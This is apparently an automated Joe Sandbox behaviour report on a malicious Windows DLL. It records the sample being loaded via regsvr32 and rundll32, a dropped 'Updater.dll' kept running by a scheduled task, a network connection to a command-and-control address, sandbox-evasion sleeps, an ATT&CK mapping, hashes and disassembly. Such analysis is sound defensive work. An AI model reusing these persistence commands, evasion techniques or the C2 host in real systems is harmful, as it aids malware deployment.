Source: akdn2nefd.bin.dll	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IMPORT
Source: akdn2nefd.bin.dll	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_RESOURCE
Source: akdn2nefd.bin.dll	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_BASERELOC
Source: akdn2nefd.bin.dll	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
Source: akdn2nefd.bin.dll	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG
Source: akdn2nefd.bin.dll	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IAT

Source: akdn2nefd.bin.dll

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT

Source: akdn2nefd.bin.dll

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:

Source: akdn2nefd.bin.dll	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IMPORT is in: .rdata
Source: akdn2nefd.bin.dll	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_RESOURCE is in: .rsrc
Source: akdn2nefd.bin.dll	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_BASERELOC is in: .reloc
Source: akdn2nefd.bin.dll	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG is in: .rdata
Source: akdn2nefd.bin.dll	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IAT is in: .rdata

Source: C:\Windows\System32\rundll32.exe

Code function: 8_2_00007FFE115015B0 LoadLibraryW,GetProcAddress,GetProcAddress,GetProcAddress,swprintf,FindFirstFileW,FindNextFileW,FindClose,

8_2_00007FFE115015B0

Source: C:\Windows\System32\loaddll64.exe

Process created: C:\Windows\System32\regsvr32.exe regsvr32.exe /s C:\Users\user\Desktop\akdn2nefd.bin.dll

Persistence and Installation Behavior

Creates files in the system32 config directory

Source: C:\Windows\System32\rundll32.exe

File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\IE\OAPIRH2O.htm

Jump to behavior

Drops HTML or HTM files to system directories

Source: C:\Windows\System32\rundll32.exe

File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\IE\OAPIRH2O.htm

Jump to behavior

Source: C:\Windows\System32\rundll32.exe

File created: C:\ProgramData\Ventuso LLC\Updater.dll

Jump to dropped file

Source: C:\Windows\System32\rundll32.exe

File created: C:\ProgramData\Ventuso LLC\Updater.dll

Jump to dropped file

Source: C:\Windows\System32\rundll32.exe

File created: C:\Windows\Tasks\Ventuso LLC.job

Jump to behavior

Source: C:\Windows\System32\rundll32.exe

Code function: 8_2_00007FFE115074E0 LoadLibraryW,GetProcAddress,LoadLibraryW,GetProcAddress,LoadLibraryW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,LoadLibraryW,GetProcAddress,SetProcessDPIAware,DeleteObject,

8_2_00007FFE115074E0

Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Found evasive API chain (may stop execution after checking mutex)

Source: C:\Windows\System32\rundll32.exe

Evasive API call chain: CreateMutex,DecisionNodes,Sleep

graph_8-9564

Source: C:\Windows\System32\rundll32.exe

Window / User API: threadDelayed 9728

Jump to behavior

Source: C:\Windows\System32\rundll32.exe

Dropped PE file which has not been started: C:\ProgramData\Ventuso LLC\Updater.dll

Jump to dropped file

Source: C:\Windows\System32\loaddll64.exe TID: 7320	Thread sleep time: -120000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\rundll32.exe TID: 7572	Thread sleep count: 237 > 30	Jump to behavior
Source: C:\Windows\System32\rundll32.exe TID: 7572	Thread sleep time: -237000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\rundll32.exe TID: 7572	Thread sleep count: 9728 > 30	Jump to behavior
Source: C:\Windows\System32\rundll32.exe TID: 7572	Thread sleep time: -9728000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\rundll32.exe	Last function: Thread delayed
Source: C:\Windows\System32\rundll32.exe	Last function: Thread delayed

Source: C:\Windows\System32\rundll32.exe	Code function: 8_2_00007FFE115015B0 LoadLibraryW,GetProcAddress,GetProcAddress,GetProcAddress,swprintf,FindFirstFileW,FindNextFileW,FindClose,		8_2_00007FFE115015B0
Source: C:\Windows\System32\rundll32.exe	Code function: 8_2_00007FFE11511610 FindFirstFileExA,		8_2_00007FFE11511610

Source: C:\Windows\System32\rundll32.exe

Code function: 8_2_00007FFE115019C0 GetModuleHandleW,GetProcAddress,GetNativeSystemInfo,GetSystemInfo,

8_2_00007FFE115019C0

Source: C:\Windows\System32\loaddll64.exe

Thread delayed: delay time: 120000

Jump to behavior

Source: rundll32.exe, 00000008.00000002.3508798808.00000240CE898000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: rundll32.exe, 00000008.00000002.3508798808.00000240CE85B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW

Source: C:\Windows\System32\rundll32.exe

Code function: 8_2_00007FFE1150A088 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

8_2_00007FFE1150A088

Source: C:\Windows\System32\rundll32.exe

Code function: 8_2_00007FFE115015B0 LoadLibraryW,GetProcAddress,GetProcAddress,GetProcAddress,swprintf,FindFirstFileW,FindNextFileW,FindClose,

8_2_00007FFE115015B0

Source: C:\Windows\System32\rundll32.exe

Code function: 8_2_00007FFE11506980 GetProcessHeap,RtlRestoreThreadPreferredUILanguages,

8_2_00007FFE11506980

Source: C:\Windows\System32\rundll32.exe	Code function: 8_2_00007FFE11509564 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	8_2_00007FFE11509564
Source: C:\Windows\System32\rundll32.exe	Code function: 8_2_00007FFE1150A088 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	8_2_00007FFE1150A088
Source: C:\Windows\System32\rundll32.exe	Code function: 8_2_00007FFE1150ECD0 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	8_2_00007FFE1150ECD0

HIPS / PFW / Operating System Protection Evasion

System process connects to network (likely due to code injection or exploit)

Source: C:\Windows\System32\rundll32.exe

Network Connect: 72.5.43.29 80

Jump to behavior

Source: C:\Windows\System32\cmd.exe

Process created: C:\Windows\System32\rundll32.exe rundll32.exe "C:\Users\user\Desktop\akdn2nefd.bin.dll",#1

Jump to behavior

Source: C:\Windows\System32\rundll32.exe

Code function: 8_2_00007FFE11517C10 cpuid

8_2_00007FFE11517C10

Source: C:\Windows\System32\rundll32.exe

Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0

Jump to behavior

Source: C:\Windows\System32\rundll32.exe

Queries volume information: C:\ VolumeInformation

Jump to behavior

Source: C:\Windows\System32\rundll32.exe

Code function: 8_2_00007FFE11509F8C GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,

8_2_00007FFE11509F8C

Source: C:\Windows\System32\rundll32.exe

Code function: 8_2_00007FFE115050D0 GetVolumeInformationW,GetComputerNameW,GetComputerNameExW,GetUserNameW,OpenMutexW,CloseHandle,GetTickCount,SleepEx,

8_2_00007FFE115050D0

Source: C:\Windows\System32\rundll32.exe

Code function: 8_2_00007FFE115069F0 LoadLibraryW,GetProcAddress,LoadLibraryW,GetProcAddress,GetProcAddress,LoadLibraryW,GetProcAddress,RtlGetVersion,GetNativeSystemInfo,GetSystemInfo,GetSystemMetrics,

8_2_00007FFE115069F0

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	1 Scheduled Task/Job	1 Scheduled Task/Job	111 Process Injection	11 Masquerading	OS Credential Dumping	1 System Time Discovery	Remote Services	1 Screen Capture	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	11 Native API	1 DLL Side-Loading	1 Scheduled Task/Job	11 Virtualization/Sandbox Evasion	LSASS Memory	121 Security Software Discovery	Remote Desktop Protocol	1 Archive Collected Data	2 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	1 DLL Side-Loading	111 Process Injection	Security Account Manager	11 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	2 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 Regsvr32	NTDS	1 Application Window Discovery	Distributed Component Object Model	Input Capture	12 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Rundll32	LSA Secrets	1 Account Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 DLL Side-Loading	Cached Domain Credentials	1 System Owner/User Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 File Deletion	DCSync	1 File and Directory Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	Indicator Removal from Tools	Proc Filesystem	34 System Information Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
akdn2nefd.bin.dll	13%	ReversingLabs
akdn2nefd.bin.dll	12%	Virustotal		Browse

Dropped Files

Source	Detection	Scanner	Label	Link
C:\ProgramData\Ventuso LLC\Updater.dll	13%	ReversingLabs
C:\ProgramData\Ventuso LLC\Updater.dll	12%	Virustotal		Browse

Source	Detection	Scanner	Label	Link
http://72.5.43.29/Rt#	0%	Avira URL Cloud	safe
http://72.5.43.29/2	0%	Avira URL Cloud	safe
http://72.5.43.29/	0%	Avira URL Cloud	safe
http://72.5.43.29/pt	0%	Avira URL Cloud	safe
http://72.5.43.29/5.43.29/ttingsE	0%	Avira URL Cloud	safe
http://72.5.43.29/Gt8	0%	Avira URL Cloud	safe
http://72.5.43.29/ttings	0%	Avira URL Cloud	safe
http://72.5.43.29/$	0%	Avira URL Cloud	safe
http://72.5.43.29	0%	Avira URL Cloud	safe
http://72.5.43.29/#tT	0%	Avira URL Cloud	safe
http://72.5.43.29	2%	Virustotal		Browse
http://72.5.43.29/#tT	2%	Virustotal		Browse
http://72.5.43.29/	2%	Virustotal		Browse

Name	Malicious	Antivirus Detection	Reputation
http://72.5.43.29/	true	2%, Virustotal, Browse Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://72.5.43.29/Rt#	rundll32.exe, 00000008.00000002.3508798808.00000240CE85B000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://72.5.43.29/2	rundll32.exe, 00000008.00000002.3508798808.00000240CE898000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://72.5.43.29/pt	rundll32.exe, 00000008.00000002.3508798808.00000240CE85B000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://72.5.43.29/5.43.29/ttingsE	rundll32.exe, 00000008.00000002.3508798808.00000240CE898000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://72.5.43.29/Gt8	rundll32.exe, 00000008.00000002.3508798808.00000240CE85B000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://72.5.43.29/ttings	rundll32.exe, 00000008.00000002.3508798808.00000240CE898000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://72.5.43.29/$	rundll32.exe, 00000008.00000002.3508798808.00000240CE898000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://72.5.43.29	rundll32.exe, 00000008.00000002.3508798808.00000240CE85B000.00000004.00000020.00020000.00000000.sdmp	false	2%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://72.5.43.29/#tT	rundll32.exe, 00000008.00000002.3508798808.00000240CE85B000.00000004.00000020.00020000.00000000.sdmp	false	2%, Virustotal, Browse Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
72.5.43.29	unknown	United States		16769	UNASSIGNED	true

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1493196
Start date and time:	2024-08-15 05:28:30 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 39s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Run name:	Run with higher sleep bypass
Number of analysed new started processes analysed:	13
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	akdn2nefd.bin.dll renamed because original name is a hash value
Original Sample Name:	akdn2nefd.bin.exe
Detection:	MAL
Classification:	mal76.evad.winDLL@15/4@0/1
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 100% Number of executed functions: 23 Number of non-executed functions: 40
Cookbook Comments:	Found application associated with file extension: .dll Sleeps bigger than 100000000ms are automatically reduced to 1000ms

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

Time	Type	Description
23:30:05	API Interceptor	9804378x Sleep call for process: rundll32.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
72.5.43.29	random.dll.dll	Get hash	malicious	Unknown	Browse	72.5.43.29/
	1337.js	Get hash	malicious	Unknown	Browse	72.5.43.29/
	random.dll.dll	Get hash	malicious	Unknown	Browse	72.5.43.29/

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
UNASSIGNED	random.dll.dll	Get hash	malicious	Unknown	Browse	72.5.43.29
	1337.js	Get hash	malicious	Unknown	Browse	72.5.43.29
	random.dll.dll	Get hash	malicious	Unknown	Browse	72.5.43.29
	b3astmode.arm.elf	Get hash	malicious	Mirai	Browse	160.79.173.248
	hoho.arm.elf	Get hash	malicious	Mirai	Browse	38.135.252.253
	arm.elf	Get hash	malicious	Mirai	Browse	153.10.195.253
	https://survey.zohopublic.com/zs/PYD30j?zs_inviteid=866013344e2f6aaa30b0ce407809ff4bd0ed3ef0b6c505e4b8ed99944a376aa9926823bc48ddf2b3a48337595fd132fdc7dd78d5f9b555e70f8018a33749ece953593d840363543c7e497cb3df5edd8a8ce77772c184384877cf08b30c571942a82188865861cee4768abdb6a85121effaf9893caa395668bdc7d2ea3eb1ad70842f3852386887fd2152473c96af2d214aa22073b82ef4bd897283936adbc27354514f9b6787d1b60b4d554452880bf6	Get hash	malicious	Unknown	Browse	199.67.84.65
	arm7-20240807-1021.elf	Get hash	malicious	Mirai	Browse	156.134.164.94
	botx.arm.elf	Get hash	malicious	Mirai	Browse	205.231.152.65

Process:	C:\Windows\System32\rundll32.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	159232
Entropy (8bit):	6.126578601529484
Encrypted:	false
SSDEEP:	3072:0lCt2jrijQEjnMUWzsjhVPbuGHUluQj6vkZD4vP5iZWyPr:QCIrijNMv6XPbr0kulr
MD5:	59B7B8D29252A9128536FBD08D24375F
SHA1:	7221B9125608A54F9DD706166F936C16EE23164A
SHA-256:	B7AEC5F73D2A6BBD8CD920EDB4760E2EDADC98C3A45BF4FA994D47CA9CBD02F6
SHA-512:	70431E0BF3759194CD50F6B567F6DE7C908D13A444D14E7B35EDF10FD88F16E6FE8BF0899307C7215F1EE80FF8E5909211864F4184053D9FA5BF9EC22B1D9CD4
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 13% Antivirus: Virustotal, Detection: 12%, Browse
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d....~.X.........." .....\|..........p.....................................................`..........................................$......X%..x.......................................T...........................0................................................text....z.......\|.................. ..`.rdata.............................@..@.data...X?...@...,..."..............@....pdata...............N..............@..@.gfids...............b..............@..@.rsrc................d..............@..@.reloc...............f..............@..B........................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Ventuso LLC\Updater.dll:Zone.Identifier

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	false
Reputation:	high, very likely benign file
Preview:	[ZoneTransfer]....ZoneId=0

C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\IE\OAPIRH2O.htm

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	32
Entropy (8bit):	5.0
Encrypted:	false
SSDEEP:	3:4E6CDri/ENGHn:J6C/ikGHn
MD5:	CD337FC63F7D36B9B22881FE45278BBB
SHA1:	DBA77555B1E7DD52CB5DDB298B8558DD071F26F6
SHA-256:	DFF7255B90139FBC8D3E76F31B480E65FC3EB7F49F70E7876CFB3F1CB56E5123
SHA-512:	30E5A2E6147BDF86FB98E00630FF46C0C08D334E9E13CCA16D6535367C5C388C5701889068C1CF11D8E171F125F5FF00B0BC1FD30CA9115774D9CFF5A0FB1218
Malicious:	false
Preview:	..9..i..V5.f...x&s2.n.....6"

C:\Windows\Tasks\Ventuso LLC.job

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	modified
Size (bytes):	338
Entropy (8bit):	3.568775131260989
Encrypted:	false
SSDEEP:	6:A+rEsU/82On+SkSJkJAWhAlAtWlubhEZxDh5JDiAjgsW2YRZuy0lWKuV1:A2UhO+fTWlj0b69uAjzvYRQV2
MD5:	076377E1702EC729434E5CAE4E7AB54F
SHA1:	4BA7BB7EDB9DA0D1B6A71B9F240A7277291028A0
SHA-256:	2CFBFA3357D2059DCD05A34AF2A4DF36E0FF3D8753F28A84DBB07A9CD218EA94
SHA-512:	9B0A9E338D0B527B0BCBFFF2BDD5A9749A44B6376ADEE60DB56CCE1196410B31D231541CF495999587B46ECA5A043F8AC4E49740EA468FEF78C66EFDABF5F233
Malicious:	false
Preview:	.......Xw.D.Z...mBF. .....<... .....\.......... ....................!.C.:.\.W.i.n.d.o.w.s.\.s.y.s.t.e.m.3.2.\.r.u.n.d.l.l.3.2...e.x.e...2.".C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.V.e.n.t.u.s.o. .L.L.C.\.U.p.d.a.t.e.r...d.l.l.".,.S.t.a.r.t. ./.u.......J.O.N.E.S.-.P.C.\.j.o.n.e.s...................0...............................................

Static File Info

General

File type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Entropy (8bit):	6.126578601529484
TrID:	Win64 Dynamic Link Library (generic) (102004/3) 86.43% Win64 Executable (generic) (12005/4) 10.17% Generic Win/DOS Executable (2004/3) 1.70% DOS Executable Generic (2002/1) 1.70% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.01%
File name:	akdn2nefd.bin.dll
File size:	159'232 bytes
MD5:	59b7b8d29252a9128536fbd08d24375f
SHA1:	7221b9125608a54f9dd706166f936c16ee23164a
SHA256:	b7aec5f73d2a6bbd8cd920edb4760e2edadc98c3a45bf4fa994d47ca9cbd02f6
SHA512:	70431e0bf3759194cd50f6b567f6de7c908d13a444d14e7b35edf10fd88f16e6fe8bf0899307c7215f1ee80ff8e5909211864f4184053d9fa5bf9ec22b1d9cd4
SSDEEP:	3072:0lCt2jrijQEjnMUWzsjhVPbuGHUluQj6vkZD4vP5iZWyPr:QCIrijNMv6XPbr0kulr
TLSH:	2BF32947F6A210EBE9B6C635C9632527FB72385543309B9F4B5446225F237A0EE3DB20
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d....~.X.........." .....\|..........p.....................................................`................................

File Icon


Icon Hash:	7ae282899bbab082

Static PE Info

General

Entrypoint:	0x180009b70
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x180000000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE, DLL
DLL Characteristics:	HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT
Time Stamp:	0x58DA7EDB [Tue Mar 28 15:18:51 2017 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	4e07c2fd62376d20191892e1e1215fcd

Entrypoint Preview

Instruction
dec eax
mov dword ptr [esp+08h], ebx
dec eax
mov dword ptr [esp+10h], esi
push edi
dec eax
sub esp, 20h
dec ecx
mov edi, eax
mov ebx, edx
dec eax
mov esi, ecx
cmp edx, 01h
jne 00007FC13143F4A7h
call 00007FC13143F8A0h
dec esp
mov eax, edi
mov edx, ebx
dec eax
mov ecx, esi
dec eax
mov ebx, dword ptr [esp+30h]
dec eax
mov esi, dword ptr [esp+38h]
dec eax
add esp, 20h
pop edi
jmp 00007FC13143F2F8h
int3
int3
int3
dec eax
sub esp, 28h
call 00007FC13143FD28h
test eax, eax
je 00007FC13143F4C3h
dec eax
mov eax, dword ptr [00000030h]
dec eax
mov ecx, dword ptr [eax+08h]
jmp 00007FC13143F4A7h
dec eax
cmp ecx, eax
je 00007FC13143F4B6h
xor eax, eax
dec eax
cmpxchg dword ptr [0001D744h], ecx
jne 00007FC13143F490h
xor al, al
dec eax
add esp, 28h
ret
mov al, 01h
jmp 00007FC13143F499h
int3
int3
int3
dec eax
sub esp, 28h
call 00007FC13143FCECh
test eax, eax
je 00007FC13143F4A9h
call 00007FC13143FB17h
jmp 00007FC13143F4BBh
call 00007FC13143FCD4h
mov ecx, eax
call 00007FC1314432B5h
test eax, eax
je 00007FC13143F4A6h
xor al, al
jmp 00007FC13143F4A9h
call 00007FC13144363Ch
mov al, 01h
dec eax
add esp, 28h
ret
dec eax
sub esp, 28h
xor ecx, ecx
call 00007FC13143F5E6h
test al, al
setne al
dec eax
add esp, 28h
ret
int3
int3

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x224a0	0xb8	.rdata
IMAGE_DIRECTORY_ENTRY_IMPORT	0x22558	0x78	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x2b000	0x1e0	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x28000	0x12cc	.pdata
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x2c000	0x690	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x210d0	0x54	.rdata
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x21130	0x94	.rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x19000	0x380	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x17a90	0x17c00	f1d3c7eb2b4d49aa3c3ced10e0bd2582	False	0.5224506578947369	zlib compressed data	6.1893577299368605	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x19000	0xa0f2	0xa200	d6dd4741e9f4e7b1e9121e139cf8adff	False	0.4664351851851852	data	5.141780189939127	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x24000	0x3f58	0x2c00	7c391c5554799b2ddffd0a84cab3699d	False	0.5725319602272727	data	5.855319176049921	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.pdata	0x28000	0x12cc	0x1400	268043d954d9b8d2fdd1f259ed50df3e	False	0.466796875	data	4.948893002562717	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.gfids	0x2a000	0x9c	0x200	9d4de97bca792c2fa369b12a77272c07	False	0.25	data	1.4611336356506455	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.rsrc	0x2b000	0x1e0	0x200	94a4bdad46cd2ba4a61ce55d564521bf	False	0.53125	data	4.720822661998389	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x2c000	0x690	0x800	62240c37dc88fd19e8b20ab1a756d13d	False	0.53515625	data	4.932993216789583	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_MANIFEST	0x2b060	0x17d	XML 1.0 document, ASCII text, with CRLF line terminators	English	United States	0.5931758530183727

Imports

DLL	Import
KERNEL32.dll	GetLastError, SetLastError, ExpandEnvironmentStringsW, SetCurrentDirectoryW, GetCurrentDirectoryW, CreateFileW, DeleteFileW, GetVolumeInformationW, ReadFile, RemoveDirectoryW, SetFilePointer, WriteFile, SetHandleInformation, CreatePipe, PeekNamedPipe, WaitForSingleObject, CreateMutexW, CreateThread, TerminateProcess, CreateProcessW, GlobalMemoryStatusEx, GetTickCount, GetComputerNameExW, GetModuleFileNameW, GetComputerNameW, MultiByteToWideChar, WideCharToMultiByte, HeapAlloc, HeapReAlloc, HeapFree, GetProcessHeap, GetTempFileNameW, GetTempPathW, GetSystemDirectoryW, LocalFree, Sleep, CloseHandle, LoadLibraryW, GetProcAddress, GetModuleHandleW, OpenMutexW, RaiseException, WriteConsoleW, FlushFileBuffers, SetFilePointerEx, GetConsoleMode, GetConsoleCP, HeapSize, RtlCaptureContext, RtlLookupFunctionEntry, RtlVirtualUnwind, UnhandledExceptionFilter, SetUnhandledExceptionFilter, GetCurrentProcess, IsProcessorFeaturePresent, QueryPerformanceCounter, GetCurrentProcessId, GetCurrentThreadId, GetSystemTimeAsFileTime, InitializeSListHead, IsDebuggerPresent, GetStartupInfoW, RtlUnwindEx, InterlockedFlushSList, InitializeCriticalSectionAndSpinCount, TlsAlloc, TlsGetValue, 